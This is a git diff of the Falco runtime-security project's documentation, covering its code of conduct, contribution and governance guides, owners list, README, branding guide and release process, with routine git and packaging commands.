sexual orientation, disability, personal appearance, body size, race, ethnicity, age,
|
||||
religion, or nationality.
|
||||
|
||||
Examples of unacceptable behavior by participants include:
|
||||
|
||||
* The use of sexualized language or imagery
|
||||
* Personal attacks
|
||||
* Trolling or insulting/derogatory comments
|
||||
* Public or private harassment
|
||||
* Publishing other's private information, such as physical or electronic addresses,
|
||||
without explicit permission
|
||||
* Other unethical or unprofessional conduct.
|
||||
|
||||
Project maintainers have the right and responsibility to remove, edit, or reject
|
||||
comments, commits, code, wiki edits, issues, and other contributions that are not
|
||||
aligned to this Code of Conduct. By adopting this Code of Conduct, project maintainers
|
||||
commit themselves to fairly and consistently applying these principles to every aspect
|
||||
of managing this project. Project maintainers who do not follow or enforce the Code of
|
||||
Conduct may be permanently removed from the project team.
|
||||
|
||||
This code of conduct applies both within project spaces and in public spaces
|
||||
when an individual is representing the project or its community.
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting a CNCF project maintainer, [Sarah Novotny](mailto:sarahnovotny@google.com), and/or [Dan Kohn](mailto:dan@linuxfoundation.org).
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant](http://contributor-covenant.org), version 1.2.0, available at
|
||||
http://contributor-covenant.org/version/1/2/0/
|
||||
149
CONTRIBUTING.md
Normal file
149
CONTRIBUTING.md
Normal file
@@ -0,0 +1,149 @@
|
||||
# Contributing to Falco
|
||||
|
||||
- [Contributing to Falco](#contributing-to-falco)
|
||||
- [Code of Conduct](#code-of-conduct)
|
||||
- [Issues](#issues)
|
||||
- [Triage issues](#triage-issues)
|
||||
- [More about labels](#more-about-labels)
|
||||
- [Slack](#slack)
|
||||
- [Pull Requests](#pull-requests)
|
||||
- [Commit convention](#commit-convention)
|
||||
- [Rule type](#rule-type)
|
||||
- [Coding Guidelines](#coding-guidelines)
|
||||
- [C++](#c)
|
||||
- [Developer Certificate Of Origin](#developer-certificate-of-origin)
|
||||
|
||||
## Code of Conduct
|
||||
|
||||
Falco has a
|
||||
[Code of Conduct](CODE_OF_CONDUCT.md)
|
||||
to which all contributors must adhere, please read it before interacting with the repository or the community in any way.
|
||||
|
||||
## Issues
|
||||
|
||||
Issues are the heartbeat ❤️ of the Falco project, there are mainly three kinds of issues you can open:
|
||||
|
||||
- Bug report: you believe you found a problem in Falco and you want to discuss and get it fixed,
|
||||
creating an issue with the **bug report template** is the best way to do so.
|
||||
- Enhancement: any kind of new feature need to be discussed in this kind of issue, do you want a new rule or a new feature? This is the kind of issue you want to open. Be very good at explaining your intent, it's always important that others can understand what you mean in order to discuss, be open and collaborative in letting others help you getting this done!
|
||||
- Failing tests: you noticed a flaky test or a problem with a build? This is the kind of issue to triage that!
|
||||
|
||||
The best way to get **involved** in the project is through issues, you can help in many ways:
|
||||
|
||||
- Issues triaging: participating in the discussion and adding details to open issues is always a good thing,
|
||||
sometimes issues need to be verified, you could be the one writing a test case to fix a bug!
|
||||
- Helping to resolve the issue: you can help in getting it fixed in many ways, more often by opening a pull request.
|
||||
|
||||
### Triage issues
|
||||
|
||||
We need help in categorizing issues. Thus any help is welcome!
|
||||
|
||||
When you triage an issue, you:
|
||||
|
||||
* assess whether it has merit or not
|
||||
|
||||
* quickly close it by correctly answering a question
|
||||
|
||||
* point the reporter to a resource or documentation answering the issue
|
||||
|
||||
* tag it via labels, projects, or milestones
|
||||
|
||||
* take ownership submitting a PR for it, in case you want 😇
|
||||
|
||||
#### More about labels
|
||||
|
||||
These guidelines are not set in stone and are subject to change.
|
||||
|
||||
Anyway a `kind/*` label for any issue is mandatory.
|
||||
|
||||
This is the current [label set](https://github.com/falcosecurity/falco/labels) we have.
|
||||
|
||||
You can use commands - eg., `/label <some-label>` to add (or remove) labels or manually do it.
|
||||
|
||||
The commands available are the following ones:
|
||||
|
||||
```
|
||||
/[remove-](area|kind|priority|triage|label)
|
||||
```
|
||||
|
||||
Some examples:
|
||||
|
||||
* `/area rules`
|
||||
* `/remove-area rules`
|
||||
* `/kind kernel-module`
|
||||
* `/label good-first-issue`
|
||||
* `/triage duplicate`
|
||||
* `/triage unresolved`
|
||||
* `/triage not-reproducible`
|
||||
* `/triage support`
|
||||
* ...
|
||||
|
||||
### Slack
|
||||
|
||||
Other discussion, and **support requests** should go through the `#falco` channel in the open source slack, please join [here](https://slack.sysdig.com).
|
||||
|
||||
## Pull Requests
|
||||
|
||||
Thanks for taking time to make a [pull request](https://help.github.com/articles/about-pull-requests) (hereafter PR).
|
||||
|
||||
In the PR body, feel free to add an area label if appropriate by typing `/area <AREA>`, PRs will also
|
||||
need a kind, make sure to specify the appropriate one by typing `/kind <KIND>`.
|
||||
|
||||
The list of labels is [here](https://github.com/falcosecurity/falco/labels).
|
||||
|
||||
Also feel free to suggest a reviewer with `/cc @theirname`, or to assign an assignee using `/assign @nickname`.
|
||||
|
||||
Once your reviewer is happy, they will say `/lgtm` which will apply the
|
||||
`lgtm` label, and will apply the `approved` label if they are an
|
||||
[owner](/OWNERS).
|
||||
|
||||
Your PR will be automatically merged once it has the `lgtm` and `approved`
|
||||
labels, does not have any `do-not-merge/*` labels, and all status checks (eg., rebase, tests, DCO) are positive.
|
||||
|
||||
### Commit convention
|
||||
|
||||
As commit convention, we adopt [Conventional Commits v1.0.0](https://www.conventionalcommits.org/en/v1.0.0/), we have an history
|
||||
of commits that do not adopt the convention but any new commit must follow it to be eligible for merge.
|
||||
|
||||
#### Rule type
|
||||
|
||||
Besides the classic types, we adopt a type for rules, `rule(<scope>):`.
|
||||
Example:
|
||||
|
||||
```
|
||||
rule(Write below monitored dir): make sure monitored dirs are monitored.
|
||||
```
|
||||
|
||||
Each rule change must be on its own commit, if a change to a macro is done while changing a rule they can go together but only one rule per commit must happen.
|
||||
|
||||
If you are changing only a macro, the commit will look like this:
|
||||
|
||||
```
|
||||
rule(macro user_known_write_monitored_dir_conditions): make sure conditions are great
|
||||
```
|
||||
|
||||
## Coding Guidelines
|
||||
|
||||
### C++
|
||||
|
||||
* File `userspace/engine/banned.h` defines some functions as invalid tokens. These functions are not allowed to be used in the codebase. Whenever creating a new cpp file, include the `"banned.h"` headers. This ensures that the banned functions are not compiled.
|
||||
|
||||
A complete list of banned functions can be found [here](./userspace/engine/banned.h).
|
||||
|
||||
## Developer Certificate Of Origin
|
||||
|
||||
The [Developer Certificate of Origin (DCO)](https://developercertificate.org/) is a lightweight way for contributors to certify that they wrote or otherwise have the right to submit the code they are contributing to the project.
|
||||
|
||||
Contributors to the Falco project sign-off that they adhere to these requirements by adding a `Signed-off-by` line to commit messages.
|
||||
|
||||
```
|
||||
This is my commit message
|
||||
|
||||
Signed-off-by: John Poiana <jpoiana@falco.org>
|
||||
```
|
||||
|
||||
Git even has a `-s` command line option to append this automatically to your commit message:
|
||||
|
||||
```
|
||||
$ git commit -s -m 'This is my commit message'
|
||||
```
|
||||
55
GOVERNANCE.md
Normal file
55
GOVERNANCE.md
Normal file
@@ -0,0 +1,55 @@
|
||||
# Process for becoming a maintainer
|
||||
|
||||
* Express interest to the existing maintainers that you or your organization is interested in becoming a
|
||||
maintainer. Becoming a maintainer generally means that you are going to be spending substantial
|
||||
time (>25%) on Falco for the foreseeable future. You should have domain expertise and be extremely
|
||||
proficient in C++. Ultimately your goal is to become a maintainer that will represent your
|
||||
organization.
|
||||
* We will expect you to start contributing increasingly complicated PRs, under the guidance
|
||||
of the existing maintainers.
|
||||
* We may ask you to do some PRs from our backlog.
|
||||
* As you gain experience with the code base and our standards, we will ask you to do code reviews
|
||||
for incoming PRs (i.e., all maintainers are expected to shoulder a proportional share of
|
||||
community reviews).
|
||||
* After a period of approximately 2-3 months of working together and making sure we see eye to eye,
|
||||
the existing maintainers will confer and decide whether to grant maintainer status or not.
|
||||
We make no guarantees on the length of time this will take, but 2-3 months is the approximate
|
||||
goal.
|
||||
|
||||
## Maintainer responsibilities
|
||||
|
||||
* Monitor Slack (delayed response is perfectly acceptable).
|
||||
* Triage GitHub issues and perform pull request reviews for other maintainers and the community.
|
||||
* During GitHub issue triage, apply all applicable [labels](https://github.com/falcosecurity/falco/labels)
|
||||
to each new issue. Labels are extremely useful for future issue follow up. Which labels to apply
|
||||
is somewhat subjective so just use your best judgment.
|
||||
* Make sure that ongoing PRs are moving forward at the right pace or closing them.
|
||||
* Participate when called upon in the security releases. Note that although this should be a rare
|
||||
occurrence, if a serious vulnerability is found, the process may take up to several full days of
|
||||
work to implement. This reality should be taken into account when discussing time commitment
|
||||
obligations with employers.
|
||||
* In general continue to be willing to spend at least 25% of ones time working on Falco (~1.25
|
||||
business days per week).
|
||||
|
||||
## When does a maintainer lose maintainer status
|
||||
|
||||
If a maintainer is no longer interested or cannot perform the maintainer duties listed above, they
|
||||
should volunteer to be moved to emeritus status. In extreme cases this can also occur by a vote of
|
||||
the maintainers per the voting process below.
|
||||
|
||||
# Conflict resolution and voting
|
||||
|
||||
In general, we prefer that technical issues and maintainer membership are amicably worked out
|
||||
between the persons involved. If a dispute cannot be decided independently, the maintainers can be
|
||||
called in to decide an issue. If the maintainers themselves cannot decide an issue, the issue will
|
||||
be resolved by voting. The voting process is a simple majority in which each senior maintainer
|
||||
receives two votes and each normal maintainer receives one vote.
|
||||
|
||||
# Adding new projects to the falcosecurity GitHub organization
|
||||
|
||||
New projects will be added to the falcosecurity organization via GitHub issue discussion in one of the
|
||||
existing projects in the organization. Once sufficient discussion has taken place (~3-5 business
|
||||
days but depending on the volume of conversation), the maintainers of *the project where the issue
|
||||
was opened* (since different projects in the organization may have different maintainers) will
|
||||
decide whether the new project should be added. See the section above on voting if the maintainers
|
||||
cannot easily decide.
|
||||
8
OWNERS
8
OWNERS
@@ -1,16 +1,12 @@
|
||||
approvers:
|
||||
- fntlnz
|
||||
- kris-nova
|
||||
- leodido
|
||||
- mstemm
|
||||
- leogr
|
||||
- jasondellaluce
|
||||
- fededp
|
||||
reviewers:
|
||||
- fntlnz
|
||||
- kaizhe
|
||||
- kris-nova
|
||||
- leodido
|
||||
- mfdii
|
||||
- mstemm
|
||||
- leogr
|
||||
- jasondellaluce
|
||||
- fededp
|
||||
|
||||
153
README.md
153
README.md
@@ -3,165 +3,68 @@
|
||||
|
||||
<hr>
|
||||
|
||||
[](https://circleci.com/gh/falcosecurity/falco) [](https://bestpractices.coreinfrastructure.org/projects/2317) [](COPYING) [](https://github.com/falcosecurity/falco/releases/latest) 
|
||||
# The Falco Project
|
||||
|
||||
Want to talk? Join us on the [#falco](https://kubernetes.slack.com/messages/falco) channel in the [Kubernetes Slack](https://slack.k8s.io).
|
||||
#### Latest release
|
||||
|
||||
### Latest releases
|
||||
**v0.19.0**
|
||||
Read the [change log](CHANGELOG.md)
|
||||
|
||||
Read the [change log](CHANGELOG.md).
|
||||
|
||||
<!--
|
||||
Badges in the following table are constructed by using the
|
||||
https://img.shields.io/badge/dynamic/xml endpoint.
|
||||
|
||||
Parameters are configured for fetching packages from S3 before
|
||||
(filtered by prefix, sorted in ascending order) and for picking
|
||||
the latest package by using an XPath selector after.
|
||||
|
||||
- Common query parameters:
|
||||
|
||||
color=#300aec7
|
||||
style=flat-square
|
||||
label=Falco
|
||||
|
||||
- DEB packages parameters:
|
||||
|
||||
url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/deb/stable/falco-
|
||||
query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
|
||||
|
||||
- RPM packages parameters:
|
||||
|
||||
url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/rpm/falco-
|
||||
query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
|
||||
|
||||
- BIN packages parameters:
|
||||
|
||||
url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/bin/x86_64/falco-
|
||||
query=substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'], "falco-")
|
||||
|
||||
Notes:
|
||||
- if more than 1000 items are present under as S3 prefix,
|
||||
the actual latest package will be not picked;
|
||||
see https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
|
||||
- for `-dev` packages, the S3 prefix is modified accordingly
|
||||
- finally, all parameters are URL encoded and appended to the badge endpoint
|
||||
|
||||
-->
|
||||
|
||||
| | development | stable |
|
||||
|--------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| rpm | [][1] | [][2] |
|
||||
| deb | [][3] | [][4] |
|
||||
| binary | [][5] | [][6] |
|
||||
| rpm-arm64 | [][1] | [][2] |
|
||||
| deb-arm64 | [][3] | [][4] |
|
||||
| binary-arm64 | [][7] | [][8] |
|
||||
[](https://circleci.com/gh/falcosecurity/falco) [](https://bestpractices.coreinfrastructure.org/projects/2317) [](COPYING)
|
||||
|
||||
---
|
||||
|
||||
The Falco Project, originally created by [Sysdig](https://sysdig.com), is an incubating [CNCF](https://cncf.io) open source cloud native runtime security tool.
|
||||
Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack.
|
||||
Falco can also be extended to other data sources by using plugins.
|
||||
Falco has a rich set of security rules specifically built for Kubernetes, Linux, and cloud-native.
|
||||
If a rule is violated in a system, Falco will send an alert notifying the user of the violation and its severity.
|
||||
Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Falco audits a system at the most fundamental level, the kernel. Falco then enriches this data with other input streams such as container runtime metrics, and Kubernetes metrics. Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules.
|
||||
|
||||
### What can Falco detect?
|
||||
Falco is hosted by the Cloud Native Computing Foundation (CNCF) as a sandbox level project. If you are an organization that wants to help shape the evolution of technologies that are container-packaged, dynamically-scheduled and microservices-oriented, consider joining the CNCF. For details read the [Falco CNCF project proposal](https://github.com/cncf/toc/tree/master/proposals/falco.adoc).
|
||||
|
||||
Falco can detect and alert on any behavior that involves making Linux system calls.
|
||||
Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process.
|
||||
For example, Falco can easily detect incidents including but not limited to:
|
||||
#### What kind of behaviors can Falco detect?
|
||||
|
||||
- A shell is running inside a container or pod in Kubernetes.
|
||||
Falco can detect and alert on any behavior that involves making Linux system calls. Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, Falco can easily detect incidents including but not limited to:
|
||||
|
||||
- A shell is running inside a container.
|
||||
- A container is running in privileged mode, or is mounting a sensitive path, such as `/proc`, from the host.
|
||||
- A server process is spawning a child process of an unexpected type.
|
||||
- Unexpected read of a sensitive file, such as `/etc/shadow`.
|
||||
- A non-device file is written to `/dev`.
|
||||
- A standard system binary, such as `ls`, is making an outbound network connection.
|
||||
- A privileged pod is started in a Kubernetes cluster.
|
||||
|
||||
|
||||
### Installing Falco
|
||||
|
||||
If you would like to run Falco in **production** please adhere to the [official installation guide](https://falco.org/docs/getting-started/installation/).
|
||||
A comprehensive [installation guide](https://falco.org/docs/installation/) for Falco is available in the documentation website.
|
||||
|
||||
##### Kubernetes
|
||||
#### How do you compare Falco with other security tools?
|
||||
|
||||
| Tool | Link | Note |
|
||||
|----------|--------------------------------------------------------------------------------------------|--------------------------------------------------------------------|
|
||||
| Helm | [Chart Repository](https://github.com/falcosecurity/charts/tree/master/falco#introduction) | The Falco community offers regular helm chart releases. |
|
||||
| Minikube | [Tutorial](https://falco.org/docs/getting-started/third-party/#minikube) | The Falco driver has been baked into minikube for easy deployment. |
|
||||
| Kind | [Tutorial](https://falco.org/docs/getting-started/third-party/#kind) | Running Falco with kind requires a driver on the host system. |
|
||||
| GKE | [Tutorial](https://falco.org/docs/getting-started/third-party/#gke) | We suggest using the eBPF driver for running Falco on GKE. |
|
||||
|
||||
### Developing
|
||||
|
||||
Falco is designed to be extensible such that it can be built into cloud-native applications and infrastructure.
|
||||
|
||||
Falco has a [gRPC](https://falco.org/docs/grpc/) endpoint and an API defined in [protobuf](https://github.com/falcosecurity/falco/blob/master/userspace/falco/outputs.proto).
|
||||
The Falco Project supports various SDKs for this endpoint.
|
||||
|
||||
##### SDKs
|
||||
|
||||
| Language | Repository |
|
||||
|----------|---------------------------------------------------------|
|
||||
| Go | [client-go](https://github.com/falcosecurity/client-go) |
|
||||
| Rust | [client-rs](https://github.com/falcosecurity/client-rs) |
|
||||
| Python | [client-py](https://github.com/falcosecurity/client-py) |
|
||||
|
||||
### Plugins
|
||||
|
||||
Falco comes with a [plugin framework](https://falco.org/docs/plugins/) that extends it to potentially any cloud detection scenario. Plugins are shared libraries that conform to a documented API and allow for:
|
||||
|
||||
- Adding new event sources that can be used in rules;
|
||||
- Adding the ability to define new fields and extract information from events.
|
||||
|
||||
The Falco Project maintains [various plugins](https://github.com/falcosecurity/plugins) and provides SDKs for plugin development.
|
||||
One of the questions we often get when we talk about Falco is “How does Falco differ from other Linux security tools such as SELinux, AppArmor, Auditd, etc.?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco with other tools.
|
||||
|
||||
|
||||
##### SDKs
|
||||
Documentation
|
||||
---
|
||||
|
||||
| Language | Repository |
|
||||
|----------|-------------------------------------------------------------------------------|
|
||||
| Go | [falcosecurity/plugin-sdk-go](https://github.com/falcosecurity/plugin-sdk-go) |
|
||||
See [Falco Documentation](https://falco.org/docs/) to quickly get started using Falco.
|
||||
|
||||
|
||||
### Documentation
|
||||
|
||||
The [Official Documentation](https://falco.org/docs/) is the best resource to learn about Falco.
|
||||
|
||||
### Join the Community
|
||||
Join the Community
|
||||
---
|
||||
|
||||
To get involved with The Falco Project please visit [the community repository](https://github.com/falcosecurity/community) to find more.
|
||||
|
||||
How to reach out?
|
||||
License Terms
|
||||
---
|
||||
|
||||
- Join the [#falco](https://kubernetes.slack.com/messages/falco) channel on the [Kubernetes Slack](https://slack.k8s.io)
|
||||
- [Join the Falco mailing list](https://lists.cncf.io/g/cncf-falco-dev)
|
||||
- [Read the Falco documentation](https://falco.org/docs/)
|
||||
Falco is licensed to you under the [Apache 2.0](./COPYING) open source license.
|
||||
|
||||
Contributing
|
||||
---
|
||||
|
||||
### Contributing
|
||||
See the [CONTRIBUTING.md](./CONTRIBUTING.md).
|
||||
|
||||
See the [CONTRIBUTING.md](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md).
|
||||
Security
|
||||
---
|
||||
|
||||
### Security Audit
|
||||
|
||||
A third party security audit was performed by Cure53, you can see the full report [here](./audits/SECURITY_AUDIT_2019_07.pdf).
|
||||
|
||||
### Reporting security vulnerabilities
|
||||
|
||||
Please report security vulnerabilities following the community process documented [here](https://github.com/falcosecurity/.github/blob/master/SECURITY.md).
|
||||
|
||||
### License Terms
|
||||
|
||||
Falco is licensed to you under the [Apache 2.0](./COPYING) open source license.
|
||||
|
||||
|
||||
[1]: https://download.falco.org/?prefix=packages/rpm-dev/
|
||||
[2]: https://download.falco.org/?prefix=packages/rpm/
|
||||
[3]: https://download.falco.org/?prefix=packages/deb-dev/stable/
|
||||
[4]: https://download.falco.org/?prefix=packages/deb/stable/
|
||||
[5]: https://download.falco.org/?prefix=packages/bin-dev/x86_64/
|
||||
[6]: https://download.falco.org/?prefix=packages/bin/x86_64/
|
||||
[7]: https://download.falco.org/?prefix=packages/bin-dev/aarch64/
|
||||
[8]: https://download.falco.org/?prefix=packages/bin/aarch64/
|
||||
120
RELEASE.md
120
RELEASE.md
@@ -1,120 +0,0 @@
|
||||
# Falco Release Process
|
||||
|
||||
Our release process is mostly automated, but we still need some manual steps to initiate and complete it.
|
||||
|
||||
Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
|
||||
|
||||
Falco releases are due to happen 3 times per year. Our current schedule sees a new release by the end of January, May, and September each year. Hotfix releases can happen whenever it's needed.
|
||||
|
||||
Moreover, we need to assign owners for each release (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community).
|
||||
|
||||
Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
|
||||
|
||||
## Pre-Release Checklist
|
||||
|
||||
Before cutting a release we need to do some homework in the Falco repository. This should take 5 minutes using the GitHub UI.
|
||||
|
||||
### 1. Release notes
|
||||
- Find the previous release date (`YYYY-MM-DD`) by looking at the [Falco releases](https://github.com/falcosecurity/falco/releases)
|
||||
- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
|
||||
- Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
|
||||
- If the PR has no milestone, assign it to the milestone currently undergoing release
|
||||
- Check issues without a milestone (using `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD) ) and add them to the milestone currently undergoing release
|
||||
- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD), if any, update those missing
|
||||
|
||||
### 2. Milestones
|
||||
|
||||
- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
|
||||
|
||||
### 3. Release PR
|
||||
|
||||
- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
|
||||
- If any, manually correct it then open an issue to automate version number bumping later
|
||||
- Versions table in the `README.md` updates itself automatically
|
||||
- Generate the change log using [rn2md](https://github.com/leodido/rn2md):
|
||||
- Execute `rn2md -o falcosecurity -m <version> -r falco`
|
||||
- In case `rn2md` emits error try to generate an GitHub OAuth access token and provide it with the `-t` flag
|
||||
- Add the latest changes on top the previous `CHANGELOG.md`
|
||||
- Submit a PR with the above modifications
|
||||
- Await PR approval
|
||||
- Close the completed milestone as soon as the PR is merged
|
||||
|
||||
## Release
|
||||
|
||||
Now assume `x.y.z` is the new version.
|
||||
|
||||
### 1. Create a tag
|
||||
|
||||
- Once the release PR has got merged, and the CI has done its job on the master, git tag the new release
|
||||
|
||||
```
|
||||
git pull
|
||||
git checkout master
|
||||
git tag x.y.z
|
||||
git push origin x.y.z
|
||||
```
|
||||
|
||||
> **N.B.**: do NOT use an annotated tag. For reference https://git-scm.com/book/en/v2/Git-Basics-Tagging
|
||||
|
||||
- Wait for the CI to complete
|
||||
|
||||
### 2. Update the GitHub release
|
||||
|
||||
- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
|
||||
- Use `x.y.z` both as tag version and release title
|
||||
- Use the following template to fill the release description:
|
||||
```
|
||||
<!-- Substitute x.y.z with the current release version -->
|
||||
|
||||
| Packages | Download |
|
||||
| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| rpm | [](https://download.falco.org/packages/rpm/falco-x.y.z-x86_64.rpm) |
|
||||
| deb | [](https://download.falco.org/packages/deb/stable/falco-x.y.z-x86_64.deb) |
|
||||
| tgz | [](https://download.falco.org/packages/bin/x86_64/falco-x.y.z-x86_64.tar.gz) |
|
||||
|
||||
| Images |
|
||||
| --------------------------------------------------------------------------- |
|
||||
| `docker pull docker.io/falcosecurity/falco:x.y.z` |
|
||||
| `docker pull public.ecr.aws/falcosecurity/falco:x.y.z` |
|
||||
| `docker pull docker.io/falcosecurity/falco-driver-loader:x.y.z` |
|
||||
| `docker pull docker.io/falcosecurity/falco-no-driver:x.y.z` |
|
||||
|
||||
<changelog>
|
||||
|
||||
<!-- Substitute <changelog> with the one generated by [rn2md](https://github.com/leodido/rn2md) -->
|
||||
|
||||
### Statistics
|
||||
|
||||
| Merged PRs | Number |
|
||||
| --------------- | ------ |
|
||||
| Not user-facing | x |
|
||||
| Release note | x |
|
||||
| Total | x |
|
||||
|
||||
<!-- Calculate stats and fill the above table -->
|
||||
|
||||
#### Release Manager <github handle>
|
||||
|
||||
<!-- Substitute GitHub handle with the release manager's one -->
|
||||
```
|
||||
|
||||
- Finally, publish the release!
|
||||
|
||||
### 3. Update the meeting notes
|
||||
|
||||
For each release we archive the meeting notes in git for historical purposes.
|
||||
|
||||
- The notes from the Falco meetings can be [found here](https://hackmd.io/3qYPnZPUQLGKCzR14va_qg).
|
||||
- Note: There may be other notes from working groups that can optionally be added as well as needed.
|
||||
- Add the entire content of the document to a new file in [github.com/falcosecurity/community/tree/master/meeting-notes](https://github.com/falcosecurity/community/tree/master/meeting-notes) as a new file labeled `release-x.y.z.md`
|
||||
- Open up a pull request with the new change.
|
||||
|
||||
|
||||
## Post-Release tasks
|
||||
|
||||
Announce the new release to the world!
|
||||
|
||||
- Publish a blog on [Falco website](https://github.com/falcosecurity/falco-website) ([example](https://github.com/falcosecurity/falco-website/blob/master/content/en/blog/falco-0-28-1.md))
|
||||
- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)
|
||||
- Let folks in the slack #falco channel know about a new release came out
|
||||
- IFF the on going release introduces a **new minor version**, [archive a snapshot of the Falco website](https://github.com/falcosecurity/falco-website/blob/master/release.md#documentation-versioning)
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
This document describes The Falco Project's branding guidelines, language, and message.
|
||||
|
||||
Content in this document can be used to publicly share about Falco.
|
||||
Content in this document can be used to publically share about Falco.
|
||||
|
||||
|
||||
|
||||
@@ -15,21 +15,6 @@ There are 3 logos available for use in this directory. Use the primary logo unle
|
||||
|
||||
The Falco logo is Apache 2 licensed and free to use in media and publication for the CNCF Falco project.
|
||||
|
||||
### Colors
|
||||
|
||||
| Name | PMS | RGB |
|
||||
|-----------|------|-------------|
|
||||
| Teal | 3125 | 0 174 199 |
|
||||
| Cool Gray | 11 | 83 86 90 |
|
||||
| Black | | 0 0 0 |
|
||||
| Blue-Gray | 7700 | 22 92 125 |
|
||||
| Gold | 1375 | 255 158 27 |
|
||||
| Orange | 171 | 255 92 57 |
|
||||
| Emerald | 3278 | 0 155 119 |
|
||||
| Green | 360 | 108 194 74 |
|
||||
|
||||
The primary colors are those in the first two rows.
|
||||
|
||||
### Slogan
|
||||
|
||||
> Cloud Native Runtime Security
|
||||
@@ -43,7 +28,7 @@ The CNCF now owns The Falco Project.
|
||||
### What is Runtime Security?
|
||||
|
||||
Runtime security refers to an approach to preventing unwanted activity on a computer system.
|
||||
With runtime security, an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
|
||||
With runtime security an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
|
||||
Runtime security is the practice of using detection tooling to detect unwanted behavior, such that it can then be prevented using prevention techniques.
|
||||
Runtime security is a holistic approach to defense, and useful in scenarios where prevention tooling either was unaware of an exploit or attack vector, or when defective applications are ran in even the most secure environment.
|
||||
|
||||
@@ -56,7 +41,7 @@ If a rule has been violated, Falco triggers an alert.
|
||||
### How does Falco work?
|
||||
|
||||
Falco traces kernel events and reports information about the system calls being executed at runtime.
|
||||
Falco leverages the extended berkeley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel.
|
||||
Falco leverages the extended berkley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel.
|
||||
Falco enriches these kernel events with information about containers running on the system.
|
||||
Falco also can consume signals from other input streams such as the containerd socket, the Kubernetes API server and the Kubernetes audit log.
|
||||
At runtime, Falco will reason about these events and assert them against configured security rules.
|
||||
@@ -113,7 +98,7 @@ Falco ultimately is a security engine. It reasons about signals coming from a sy
|
||||
|
||||
##### Anomaly detection
|
||||
|
||||
This refers to an event that occurs with something unusual, concerning, or odd occurs.
|
||||
This refers to an event that occurs with something unsual, concerning, or odd occurs.
|
||||
We can associate anomalies with unwanted behavior, and alert in their presence.
|
||||
|
||||
##### Detection tooling
|
||||
@@ -139,13 +124,9 @@ Used to describe the `.ko` object that would be loaded into the kernel as a pote
|
||||
This is one option used to pass kernel events up to userspace for Falco to consume.
|
||||
Sometimes this word is incorrectly used to refer to a `probe`.
|
||||
|
||||
#### Driver
|
||||
#### Driver (deprecated)
|
||||
|
||||
The global term for the software that sends events from the kernel. Such as the eBPF `probe` or the `kernel module`.
|
||||
|
||||
#### Plugin
|
||||
|
||||
Used to describe a dynamic shared library (`.so` files in Unix, `.dll` files in Windows) that conforms to a documented API and allows to extend Falco's capabilities.
|
||||
An older, more generalized term for a `module` or `probe`. We discourage the use of this word as a project.
|
||||
|
||||
#### Falco
|
||||
|
||||
|
||||
|
Before Width: | Height: | Size: 4.2 KiB After Width: | Height: | Size: 4.2 KiB |
@@ -1,13 +1,14 @@
|
||||
if(CPACK_GENERATOR MATCHES "DEB")
|
||||
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
|
||||
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
|
||||
